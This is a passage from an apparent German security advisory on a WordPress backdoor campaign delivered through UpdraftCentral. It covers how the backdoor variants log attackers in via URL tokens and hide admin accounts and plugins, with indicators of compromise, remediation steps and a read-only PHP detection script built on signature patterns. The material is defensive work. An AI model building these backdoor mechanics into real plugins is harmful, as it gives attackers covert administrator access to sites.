Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8<\/code><\/li>\n<\/ul>\n<p>So finden Sie sie: Version 3 des Pr\u00fcfskripts erkennt Plugin-Dateien an bekannten Zeichenketten wie \u201ekeep service accounts out of the main user list\u201c und an ihrem Code (Anmeldung per <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> nach <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code> auf einen Wert aus der URL, Verstecken per <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>), pr\u00fcft die Optionen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code> und liest die Benutzer direkt aus der Datenbank. Sie durchsucht auch <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, wo das entpackte Plugin liegen bleibt, selbst wenn die Installation fehlschlug. Pr\u00fcfen Sie das Access-Log wie unter \u201eWas Sie jetzt tun sollten\u201c beschrieben.<\/p>\n<h2 id=\"die-dritte-variante-eine-minimale-hintert\u00fcr\">Die dritte Variante: eine minimale Hintert\u00fcr<\/h2>\n<p>Derselbe Administrator fand auch das Plugin <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f<\/code> (\u201eSite Health 364F\u201c, Version 1.0, Beschreibung \u201eMaintenance helper.\u201c, ohne Autor). Es ist eine einzelne Datei mit 673 Bytes ohne jede Tarnung:<\/p>\n<ul>\n<li>Bei der Aktivierung speichert sie die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_health_364f_ver<\/code>.<\/li>\n<li>Ausl\u00f6ser: der Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">83e590bb7e9b<\/code> mit einem 32-stelligen Token, das direkt im Code steht.<\/li>\n<li>Sie meldet den Angreifer als ersten vorhandenen Administrator an und leitet in den Admin weiter. Sie legt kein Konto an.<\/li>\n<li>SHA-256 von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa<\/code><\/li>\n<\/ul>\n<p>Au\u00dfer dem Plugin hinterl\u00e4sst sie nur eine Zeile im Access-Log, die der grep-Befehl aus \u201eWas Sie jetzt tun sollten\u201c findet. Das Pr\u00fcfskript erkennt sie ab Version 4.<\/p>\n<p>Ein weiterer Administrator fand eine versteckte Abwandlung davon, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-cache<\/code> (\u201eSite Health Cache\u201c 1.0.0, ohne Beschreibung und Autor, Ausl\u00f6ser <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">38af88274bf8<\/code>, Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">sh_cache_ver<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd<\/code>). Ein <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">all_plugins<\/code>-Filter entfernt sie aus der Plugin-Liste und ein <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_update_option_recently_activated<\/code>-Filter aus der Liste der k\u00fcrzlich aktivierten Plugins, sodass Sie sie im Admin nicht sehen, obwohl sie aktiv ist. Das Pr\u00fcfskript findet sie auf der Festplatte. Ein weiterer Administrator fand dieselbe Abwandlung mit anderem Ausl\u00f6ser (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">9c37ef099b7b<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205<\/code>).<\/p>\n<h2 id=\"was-tun-wenn-sie-sie-finden\">Was tun, wenn Sie sie finden<\/h2>\n<ol type=\"1\">\n<li>Falls noch nicht geschehen, entfernen Sie die UpdraftCentral-Verbindung wie unter \u201eWas Sie jetzt tun sollten\u201c beschrieben. Sonst kann der Angreifer eine reparierte Version der Hintert\u00fcr schicken.<\/li>\n<li>Deaktivieren Sie das Plugin und verschieben Sie es aus dem Web-Verzeichnis. Wenn Sie es als Beweis behalten wollen, l\u00f6schen Sie es nicht \u00fcber den Admin, denn <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> l\u00f6scht seine Optionen.<\/li>\n<li>L\u00f6schen Sie die Optionen der Hintert\u00fcr (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_ver<\/code>) und das Konto, das sie angelegt hat.<\/li>\n<li>Pr\u00fcfen Sie die Benutzer mit dem Pr\u00fcfskript unten. Hat die Hintert\u00fcr funktioniert, existiert also ihr Konto oder zeigt das Access-Log eine Anfrage mit ihrem Parameter, betrachten Sie die Website als vollst\u00e4ndig kompromittiert. Der Angreifer k\u00f6nnte weitere Plugins oder eine Webshell hochgeladen und Dateien oder die Datenbank ver\u00e4ndert haben. Stellen Sie die Website aus einem Backup von vor dem 17. Oktober wieder her, vergleichen Sie die Dateien mit einer sauberen Installation und gehen Sie alle Benutzer mit zus\u00e4tzlichen Berechtigungen durch.<\/li>\n<li>\u00c4ndern Sie die Administrator-Passw\u00f6rter und das Passwort des UpdraftCentral-Cloud-Kontos, beenden Sie alle angemeldeten Sitzungen und aktivieren Sie Zwei-Faktor-Authentifizierung. UpdraftPlus Premium kann das Passwort des teamupdraft.com-Kontos so in der Datenbank speichern, wie Sie es eingegeben haben (Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>). Kam der Angreifer in den Admin oder an die Datenbank, betrachten Sie dieses Passwort als kompromittiert.<\/li>\n<li>\u00dcberlegen Sie, ob Sie die Fernverwaltung \u00fcberhaupt brauchen. Wenn ja, legen Sie den Schl\u00fcssel unter einem Konto ohne das Recht an, Plugins zu installieren, sofern Sie das aus der Ferne nicht ben\u00f6tigen. Auf Website C hat genau dieser Zufall den Angriff gestoppt.<\/li>\n<\/ol>\n<h2 id=\"pr\u00fcfskript\">Pr\u00fcfskript<\/h2>\n<p>Das Skript pr\u00fcft f\u00fcnf Dinge: ob die Website mit UpdraftCentral verbunden ist, was die Website \u00fcber UpdraftCentral empfangen hat, ob die Verzeichnisse <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">upgrade<\/code> Dateien der Hintert\u00fcr enthalten, ob ihre Optionen in der Datenbank stehen und ob ihr Konto oder ein anderer Benutzer mit unerwarteten Rechten existiert. Version 3 erkennt die Hintert\u00fcr auch an ihrem Code und findet so auch umbenannte Proben der funktionierenden Variante mit anderer Beschreibung, pr\u00fcft die Optionen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, liest die Benutzer direkt aus der Datenbank und meldet Administratoren, die seit dem 17. Oktober angelegt wurden. Version 4 erkennt zus\u00e4tzlich die minimale dritte Variante am Token, das direkt in ihrem Code steht. Version 5 meldet als <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> auch andere Plugins, die Besucher anhand eines URL-Parameters anmelden. Darauf hat uns ein Administrator gebracht, der auf einer Website eine \u00e4ltere, mit dieser Kampagne nicht zusammenh\u00e4ngende Hintert\u00fcr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">doctor-connectivity-query<\/code> fand, aktiv seit Juni. Sie versteckt sich aus der Plugin-Liste und f\u00fchrt ohne Anmeldung beliebigen Code aus. Konten bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> ohne Administratorrechte, die vor dem 17. Oktober angelegt wurden, etwa von Bots registrierte Shop-Kunden, meldet Version 5 nur noch als <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code>. Version 6 findet auch \u00fcbrig gebliebene Optionen der ersten Variante, wenn der Plugin-Name nicht auf drei Hex-Zeichen endet, etwa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query_shelf_sync_token<\/code>. Version 7 weist darauf hin, wenn es gar kein UpdraftCentral-Log gibt, etwa nach dem Entfernen von UpdraftPlus, statt es als sauber zu melden. Version 8 warnt auch vor Plugins, die sich aus der Plugin-Liste verstecken. Version 9 meldet auch UpdraftPlus-Migrator-Schl\u00fcssel. Version 10 warnt auch vor einem in der Datenbank gespeicherten Passwort des teamupdraft.com-Kontos.<\/p>\n<p>Auf Website A gibt es nach dem Entfernen der Hintert\u00fcr aus:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Sie k\u00f6nnen das Skript auch direkt herunterladen:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 des Skripts: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935<\/code>. Der vollst\u00e4ndige Code:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n * v3: catches its renamed samples by code and by &lt;slug&gt;_uid \/ &lt;slug&gt;_installed options, and checks wp-content\/upgrade.\n * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.\n * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without\n *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.\n * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).\n * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.\n * v8: warns about plugins that hide themselves from the WordPress plugin list.\n * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.\n * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n\tif ( &#39;ALERT&#39; === $level ) $alerts++;\n\tif ( &#39;WARN&#39; === $level ) $warnings++;\n\techo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n\tforeach ( $keys as $id =&gt; $key ) {\n\t\t$report( &#39;WARN&#39;, sprintf(\n\t\t\t&#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n\t\t\t$id,\n\t\t\tisset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n\t\t\tisset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n\t\t) );\n\t}\n} else {\n\t$report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\/\/ UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.\n$addons = get_option( &#39;updraftplus-addons_options&#39; );\nif ( ! is_array( $addons ) &amp;&amp; is_multisite() ) $addons = get_site_option( &#39;updraftplus-addons_options&#39; );\nif ( is_array( $addons ) &amp;&amp; ! empty( $addons[&#39;password&#39;] ) ) {\n\t$report( &#39;WARN&#39;, &#39;UpdraftPlus keeps the teamupdraft.com account password for &#39; . ( isset( $addons[&#39;email&#39;] ) ? $addons[&#39;email&#39;] : &#39;?&#39; ) . &#39; in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.&#39; );\n}\n\/\/ Migrator keys use the same UDRPC channel to receive backup files from another site.\n$migrator_keys = get_option( &#39;updraft_migrator_localkeys&#39; );\nforeach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash =&gt; $key ) {\n\t$report( &#39;WARN&#39;, sprintf(\n\t\t&#39;UpdraftPlus Migrator key &quot;%s&quot; is active: another site can send backup files here with it. Delete it unless you are migrating right now.&#39;,\n\t\tisset( $key[&#39;name&#39;] ) ? $key[&#39;name&#39;] : $hash\n\t) );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n\t$message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n\t$agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n\t$when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n\t$ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n\tif ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n\t\t$log_hits++;\n\t} elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t} elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t}\n}\nif ( ! is_array( $log ) || ! $log ) {\n\t$report( &#39;INFO&#39;, &#39;There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent &quot;WordPress\/6.4; class-udrpc.php&quot;.&#39; );\n} elseif ( ! $log_hits ) {\n\t$report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n}\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content\/upgrade\n\/\/ (a push that failed to install still leaves the unpacked plugin there).\n$is_backdoor = function ( $code ) {\n\treturn false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n\t\t|| false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n\t\t|| false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n\t\t|| ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n\t\t|| ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) )\n\t\t|| ( preg_match( &#39;\/hash_equals\\(\\s*[\\&#39;&quot;][A-Za-z0-9_-]{20,}[\\&#39;&quot;]\/&#39;, $code ) &amp;&amp; false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n};\n\/\/ Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).\n$logs_in_from_url = function ( $code ) {\n\treturn false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; );\n};\n\/\/ A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.\n$hides_itself = function ( $code ) {\n\treturn preg_match( &#39;\/add_filter\\(\\s*[\\&#39;&quot;]all_plugins[\\&#39;&quot;]\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/plugin_basename\\(\\s*__FILE__\\s*\\)\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/unset\\(\\s*\\$\\w+\\[\\s*\\$\\w+\\s*\\]\\s*\\)\/&#39;, $code );\n};\n$plugin_hits = 0;\n$files = array_merge(\n\t(array) glob( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39; ),\n\t(array) glob( WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*\/*.php&#39; )\n);\nforeach ( $files as $file ) {\n\t$code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n\t$where = 0 === strpos( $file, WP_CONTENT_DIR . &#39;\/upgrade\/&#39; ) ? &#39; (left in wp-content\/upgrade by a pushed plugin; the install may have failed)&#39; : &#39;&#39;;\n\tif ( $is_backdoor( $code ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file$where&quot; . ( $hides_itself( $code ) ? &#39; It hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $logs_in_from_url( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it.&quot; . ( $hides_itself( $code ) ? &#39; It also hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $hides_itself( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it.&quot; );\n\t\t$plugin_hits++;\n\t}\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$option_hits = 0;\n\/\/ First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name\n\/\/ without them counts only when its plugin is gone or is the backdoor itself.\nforeach ( $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$&#39;&quot; ) as $name ) {\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, preg_replace( &#39;\/_(sync_token|setup_stamp)$\/&#39;, &#39;&#39;, $name ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\tif ( is_file( $main ) &amp;&amp; ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;\n\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\t$option_hits++;\n}\n\/\/ The working variant stores &lt;slug&gt;_installed and the ID of its hidden administrator in &lt;slug&gt;_uid.\n\/\/ Plugin names vary, so match the suffix and look at the plugin with the same slug.\nforeach ( $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name LIKE &#39;%\\\\_uid&#39; OR option_name LIKE &#39;%\\\\_installed&#39;&quot; ) as $o ) {\n\t$is_uid = &#39;_uid&#39; === substr( $o-&gt;option_name, -4 );\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, substr( $o-&gt;option_name, 0, $is_uid ? -4 : -10 ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\t$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : &#39;&#39;;\n\t$u = ( $is_uid &amp;&amp; ctype_digit( (string) $o-&gt;option_value ) ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n\t$who = $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39;;\n\tif ( ( $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email ) ) || ( $code &amp;&amp; ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: {$o-&gt;option_name} = {$o-&gt;option_value}$who&quot; );\n\t\t$option_hits++;\n\t} elseif ( $is_uid &amp;&amp; $u &amp;&amp; ! is_dir( WP_PLUGIN_DIR . &quot;\/$slug&quot; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account.&quot; );\n\t\t$option_hits++;\n\t}\n}\nif ( ! $option_hits ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . 